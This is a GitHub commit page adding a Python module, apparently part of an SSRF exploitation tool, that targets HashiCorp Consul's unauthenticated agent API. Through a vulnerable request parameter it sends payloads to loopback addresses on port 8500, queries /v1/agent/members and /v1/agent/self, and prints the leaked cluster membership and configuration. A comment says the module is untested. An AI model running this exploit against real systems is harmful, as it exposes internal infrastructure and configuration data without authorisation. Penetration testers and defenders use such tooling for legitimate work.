Skip to content

Commit 8ec71cf

Browse files
authored
Add files via upload
1 parent 4bb4bf2 commit 8ec71cf

1 file changed

Lines changed: 39 additions & 0 deletions

File tree

modules/consul.py

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
from utils.utils import *
2+
import logging
3+
import json
4+
import urllib.parse
5+
6+
# NOTE : NOT TESTED YET
7+
# might need some editing to work properly !
8+
9+
name = "consul"
10+
description = "Hashicorp Consul Info Leak - Open API"
11+
author = "Swissky"
12+
documentation = [
13+
"https://www.consul.io/api/agent.html"
14+
]
15+
16+
class exploit():
17+
18+
def __init__(self, requester, args):
19+
logging.info(f"Module '{name}' launched !")
20+
gen_host = gen_ip_list("127.0.0.1", args.level)
21+
port = "8500"
22+
23+
# List Members
24+
for ip in gen_host:
25+
data = "/v1/agent/members"
26+
payload = wrapper_http(data, ip, port)
27+
r = requester.do_request(args.param, payload)
28+
29+
if r.json:
30+
print(r.json)
31+
32+
# Read Configuration
33+
for ip in gen_host:
34+
data = "/v1/agent/self"
35+
payload = wrapper_http(data, ip, port)
36+
r = requester.do_request(args.param, payload)
37+
38+
if r.json:
39+
print(r.json)

0 commit comments

Comments
 (0)